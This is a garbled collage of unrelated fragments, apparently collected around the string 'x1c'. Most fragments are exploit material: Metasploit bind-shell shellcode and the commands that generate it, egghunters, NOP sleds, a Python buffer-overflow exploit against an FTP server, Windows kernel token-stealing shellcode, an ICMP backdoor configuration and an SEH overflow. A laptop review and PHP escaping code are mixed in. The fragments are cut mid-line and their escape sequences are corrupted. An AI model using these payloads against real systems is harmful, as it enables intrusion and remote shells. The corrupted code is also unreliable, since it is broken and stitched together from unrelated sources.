x1c

') )) Egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a" Egghunter + = "\x74\xef\xb8\x77\x30\x30 \x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7 "#msfvenom-a x86--platform windows-p windows/shell_bind_tcp lport=4444-b "\x00"-f pythonbuf = "buf + =" \xb8\x3c\xb1\x1e\x1d\xd9\xc8\xd9\x74\x24\xf4\x5a\x33 "buf + =" \xc9\xb1\x53\x83\xc2 \X04\X31\X42\X0E\X03\X7E\XBF\XFC "buf + =" \xe8\x82\x57\x82\x13\x7a\xa8\xe3\x9a\x9f\x99\x23\xf8 "buf + =" \xd4\x8a\x93 \x8a\xb8\x26\x5f\xde\x28\x

time=11.8 ms64 bytes from 220.181.136.24: icmp_req=4 ttl=54 time=23.8 ms64 bytes from 220.181.136.24: icmp_req=5 ttl=54 time=17.1 ms64 bytes from 220.181.136.24: icmp_req=6 ttl=54 time=5.63 ms^C--- wooyun.sinaapp.com ping statistics ---6 packets transmitted, 5 received, 16% packet loss, time 5013msrtt min/avg/max/mdev = 5.636/15.135/23.824/6.086 ms>>> pkts All the intercepted filters are icmp packets. >>>>>> pkts[0] Convert to str >>> icmp_str'RT\x00\x125\x02\x08\x00\'\xbcn\xcc\x08\x00E\x00\x

" = ' u000f ', "x10" = ' u0010 ', ' x11 ' and ' u0011 ', ' x12 ' and ' u0012 ',"X13" = ' u0013 ', "x14" = ' u0014 ', ' x15 ' and ' u0015 ', ' x16 ' and ' u0016 ',"X17" = ' u0017 ', "x18" = ' u0018 ', ' x19 ' and ' u0019 ', ' x1a ' and ' u001a ',"x1b" = ' u001b ', "x1c" = ' u001c ', ' x1d ' and ' u001d ', ' x1e ' and ' u001e ',"x1f" = ' u001f ')) . '"';Break Case ' Boolean ':$returnValue = $arg? ' True ': ' false ';Break Default$returnValue = ' null ';

\ x90 \ x90 \ x90""\ X90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90""\ X90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90""\ X90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90""\ X90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90""\ X90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ xeb \ x19 \ x5e \ x31 \

any changes to the Rax register. The Rax register is our attack direction 1. We're going to find a call%rax's command address, compile vulnerableret2reg.c into an executable fileGcc-z execstack-o vulnerableret2reg vulnerableret2reg.cobjdump-d vulnerableret2reg |grep rax > Rax.txtcat rax.txt 40 03b4:0f 1f NOPL 0x0 (%rax) 4003ed:50 push%rax 400410:48 8b 200489 (%rip),%rax # 6008a0 Luckily, we saw Callq *%rax.40041C:FF D0 callq *%raxCommand address is 40041c2. Calculate the space to

\x32\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2" "\xeb\x05\xe8\xe2\xff\xff\xff\x03\x53\x06\x1f\x74\x57\x75\x95\x80" "\xbf\xbb\x92\x7f\x89\x5a\x1a\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09" "\xf9\x3a\x6b\xb6\xd7\x9f\x4d\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6" "\XB3\X5A\XF8\XEC\XBF\X32\XFC\XB3\X8D\X1C\XF0\XE8\XC8\X41\XA6\XDF" "\xeb\xcd\xc2\x88\x36\x74\x90\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad" "\XBE\X32\X94\X09\XF9\X22\X6B\XB6\XD7\XDD\X5A\X60\XDF\XDA\X8A\X81" "\XBF\X32\X

root@bt:~# msfpayload windows/shell/bind_tcp lport=443 C/* * windows/shell/bind_tcp-298 bytes (Stage 1) * http://www. metasploit.com * Verbose=false, lport=443, rhost=, exitfunc=process, * initialautorunscript=, AutoRunScript= * * unsign ed char buf[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30" "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\ X28\x0f\xb7\x4a\x26\x31\xff "" \x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2 "" \xf0\x52\x57\x8b\ X52\x10\x8b\x42\x3c\x01\xd0\x8b\x40

Copy Code code as follows: if (!extension_loaded ("tidy")) {die ("You need tidy extension loaded!");} $scode = "\xfc\xbb\xc7\xc4\x05\xc9\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3\x85". "\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\x3b\x2c\x41\xc9\xc3\xad\xc1". "\x8c\xff\x26\xa9\x0b\x87\x39\xbd\x9f\x38\x22\xca\xff\xe6\x53\x27". "\xb6\x6d\x67\x3c\x48\x9f\xb9\x82\xd2\xf3\x3e\xc2\x91\x0c\xfe\x09". "\x54\x13\xc2\x65\x93\x28\x96\x5d\x58\x3b\xf3\x15\x3f\xe7\xfa\xc2". "\xa6\x6c\xf0\x5f\xac\x2d\x15\x61

\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48 "" \x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f \xb7\x4a\x4a "" \x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9 "" \x0D\x41\x01\xC1\xE2\xED\x52\ x41\x51\x48\x8b\x52\x20\x8b\x42\x3c "" \x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00 "" \x00\ x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40 "" \x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\ X88\x48\x01\xd6 "" \x4d\x31\xc9\x48\x31\xc0\xac\x41

+ return address + long springboard. The following lines are described below:First line: Sploit = payload.encodedDeposit Shellcode. The function of this shellcode is to get the operating system permissions of the attacked machine directly. The code is as follows:"\XFC\XE8\X89\X00\X00\X00\X60\X89\XE5\X31\XD2\X64\X8B\X52\X30\X8B""\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0""\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57""\X8B\X52\X10\X8B\X42\X3C\X01\XD0\X8B\

\ x9f"Shellcode + = "\ xba \ xb6 \ x7a \ x32 \ x12 \ x18 \ xd5 \ xd8 \ x95 \ xcb \ x84 \ x49 \ xc7 \ x14"Shellcode + = "\ xf6 \ x1a \ x4a \ x33 \ xf3 \ x14 \ xc7 \ x3b \ x2d \ xc2 \ x17 \ x3c \ xe6 \ xec"Shellcode + = "\ x38 \ x48 \ x5f \ xef \ x3a \ x8b \ x3b \ xf0 \ xeb \ x46 \ x3c \ xde \ x7c \ x88"Shellcode + = "\ x0c \ x3f \ x1c \ x05 \ x6f \ x16 \ x22 \ x79" Sploit = Cmd + JuNk + ret + NOP + shellcodeSploit + = "\ x42" * (2992-len (NOP + shellc

giving me wisdom## Description:# A buffer overflow is triggered when a long STOR command is sent to the server continued of these/../parameters Import socket, sys, OS, time If len (sys. argv )! = 3:Print "[*] Uso: % s Print "[*] Exploit created by Polunchis"Print "[*] https://www.intrusionlabs.org"Sys. exit (0)Target = sys. argv [1]Port = int (sys. argv [2]) # Msfpayload windows/shell_bind_tcp LPORT = 28876 R | msfencode-a x86-B '\ x00 \ xff \ x0a \ x0d \ x20 \ x40'-t cShellcode = ("\ Xda \ xcf

\ x54 \ x8d \ x96 \ x67 \ x32 \ x2e \ xa6 \ xa4 \ x20 \ x12 \ xe1 \ xc1""\ X93 \ xe0 \ xf0 \ x03 \ xea \ x09 \ xc3 \ x6b \ xa1 \ x37 \ xeb \ x66 \ xbb \ cross city \ xcc""\ X98 \ xce \ x8a \ x2e \ x25 \ xc9 \ x48 \ x4c \ xf1 \ x5c \ x4d \ xf6 \ x72 \ xc6 \ xb5""\ X06 \ x57 \ x91 \ x3e \ x04 \ x1c \ xd5 \ x19 \ x09 \ xa3 \ x3a \ x12 \ x35 \ x28 \ xbd""\ Xf5 \ xbf \ x6a \ x9a \ xd1 \ xe4 \ x29 \ x83 \ x40 \ x41 \ x9c \ xbc \ x93 \ x2d \ x41""\ X19 \ xd

\ xd8 \ x76 \ x67 \ x41 \ x09 \ x47 \ x88 \ cross" +"\ X75 \ x04 \ xb7 \ xbd \ x78 \ x54 \ xff \ x79 \ x63 \ x23 \ x0b \ x7a \ x1e \ x34" +"\ Xc8 \ x01 \ xc4 \ xb1 \ xcd \ xa1 \ x8f \ x62 \ x36 \ x50 \ x43 \ xf4 \ xbd \ x5e" +"\ X28 \ x72 \ x99 \ x42 \ xaf \ x57 \ x91 \ x7e \ x24 \ x56 \ x76 \ xf7 \ x7e \ x7d" +"\ X52 \ x5c \ x24 \ x1c \ xc3 \ x38 \ x8b \ x21 \ x13 \ xe4 \ x74 \ x84 \ x5f \ x06" +"\ X60 \ xbe \ x3d \ x4c \ x77 \ x32 \ x38 \ x29 \ x77

\ xd9 \ x46" +"\ X36 \ x30 \ xe7 \ x47 \ xbb \ x0c \ xc3 \ x57 \ x05 \ x8c \ x4f \ x03 \ xd9 \ xdb" +"\ X19 \ xfd \ x9f \ xb5 \ xeb \ x57 \ x76 \ x69 \ xa2 \ x3f \ x0f \ x41 \ x75 \ x39" +"\ X10 \ x8c \ x03 \ xa5 \ xa1 \ x79 \ x52 \ xda \ x0e \ xee \ x52 \ xa3 \ x72 \ x8e" +"\ X9d \ x7e \ x37 \ xbe \ xd7 \ x22 \ x1e \ x57 \ xbe \ xb7 \ x22 \ x3a \ x41 \ x62" +"\ X60 \ x43 \ xc2 \ x86 \ x19 \ xb0 \ xda \ xe3 \ x1c \ xfc \ x5c \ x18 \ x6d \ x6d" +"\ X0

eax, Flink_offset |"\x39\x90\xb4\x00\x00\x00"//CMP[eax+ Pid_offset],edx|; nt!_eprocess. Uniqueprocessid "\x75\xed"//jnz->|; Loop! (pid=4) "\x8b\x90\xf8\x00\x00\x00"//mov edx, [eax+ Token_offset]; System nt!_eprocess. Token "\x89\x91\xf8\x00\x00\x00"//mov[ecx+ Token_offset],edx ; Replace Current Process token---[Recover]"\x61"//Popad ; Restore register State from the Stack "\x81\xc4\x8c\x07\x00\x00"//Add ESP, 0x78c; Offset

The hack version of the x1c 2017 i5 8Gram. Replaced the 1T SSD. In fact, the general use of no problem. 1 The portability is too satisfying (mac13 inches are too heavy); 2 coding time of quiet, than the original p150em quasi-system is much better. With a section of this, and then open the system, I do feel fan noise irritability, can not endure.But now it's win10+ virtual machine mint18. In the coding, still a little bit uncomfortabl

following specific data, run the command as root:/* ICMP backdoor configuration */# Define MAGIC_ICMP_TYPE 0# Define MAGIC_ICMP_CODE 255/* xor 'd magic word */# Define MAGIC_ICMP_STR "\ x27 \ x10 \ x3 \ xb \ x46 \ x8 \ x1c \ x10 \ x1e" // "n0mn0mn0m" after decryption"# Define MAGIC_ICMP_STR_LEN 9Ipf_input mainly processes data transmitted to users:Static errno_t ipf_input (void * cookie, mbuf_t * data, int offset, u_int8_t protocol){Char buf [IP_BUF_

\ x2d \ x50 \ x54 \ x1c \ x04 \ xf9 \ x31 \ xf5 \ x14 \ x64 \ xc2 \ x20 \ x5a""\ X91 \ x41 \ xc0 \ x23 \ x66 \ x59 \ xa1 \ x26 \ x22 \ xdd \ x5a \ x5b \ x3b \ x88""\ X5c \ xc8 \ x3c \ x99 ")Egghunter = ("\ X66 \ x81 \ xca \ xff \ x0f \ x42 \ x52 \ x6a \ x02 \ x58 \ xcd""\ X2e \ x3c \ x05 \ x5a \ x74 \ xef \ xb8 \ x44 \ x4e \ x57 \ x50""\ X8b \ xfa \ xaf \ x75 \ xea \ xaf \ x75 \ xe7 \ xff \ xe7 ")Nseh = "\ x90 \ x90 \ xeb \ x08"Junk = "A" * 256Paddin

") // Seh handler address offset. The overflow points of all Win2k versions are the same.# Define sehoffset 0x504// Call ebx addr in locator.exe Process/*Sp0 SP1 SP20: 004> U 0x0100aee50100aee5 ffd3 call EBXSP30: 004> U 0x0100aee50100aee5 40 Inc eax0100aee6 ffd3 call EBX*/# Define jmpaddr "/xe5/XAE/x00/x01"# Define jmpover "/xeb/x0a/x90/x90" // JMP 0xa // Hey, guy, you shoshould modify this code slightly by yourself.Char shellcode [] ="/X55/x8b/xec/xeb/x64/x5a/xb8/x04""/X00/xf1/x77/x81/x38/x4d/